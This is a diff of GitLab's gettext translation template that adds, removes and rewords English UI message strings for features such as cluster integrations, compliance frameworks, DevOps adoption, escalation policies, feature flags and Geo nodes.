@@ -7222,39 +7156,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7288,9 +7192,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7339,12 +7240,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7387,9 +7282,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7399,15 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7444,24 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7474,9 +7339,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7525,15 +7387,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7558,9 +7414,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7579,27 +7432,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7609,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7657,9 +7477,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7681,21 +7498,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7720,27 +7525,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7756,12 +7546,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7834,6 +7618,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7849,9 +7636,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8147,9 +7940,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8186,9 +7976,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8207,42 +7994,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8261,6 +8015,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8509,6 +8266,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8861,7 +8621,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -8900,6 +8660,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -8966,6 +8729,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9206,9 +8972,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9335,9 +9098,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9569,6 +9329,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9578,9 +9344,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9596,9 +9359,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9674,6 +9434,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -9889,9 +9652,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -9958,6 +9718,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10316,9 +10088,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10343,6 +10112,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10376,7 +10148,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10496,6 +10268,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11160,12 +10935,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11223,7 +11016,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11235,21 +11028,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11283,6 +11079,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11304,6 +11103,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11322,15 +11124,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11515,7 +11314,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11566,7 +11365,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11575,6 +11374,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11791,9 +11593,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11827,9 +11626,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -11890,6 +11686,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12019,6 +11818,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12028,13 +11830,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12115,13 +11920,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12139,6 +11941,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12154,9 +11959,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12166,9 +11968,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12298,6 +12097,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12463,9 +12265,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -12946,7 +12745,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -12955,30 +12754,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -12988,6 +12811,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13024,9 +12856,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13169,7 +12998,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13190,9 +13019,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13289,9 +13115,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13310,9 +13133,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13598,9 +13418,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13629,9 +13446,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13680,9 +13494,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13713,9 +13524,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13731,9 +13539,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13773,24 +13578,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13800,9 +13593,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -13885,9 +13675,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -13903,6 +13690,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -13969,9 +13759,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14140,6 +13927,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14161,10 +13951,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14368,159 +14155,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
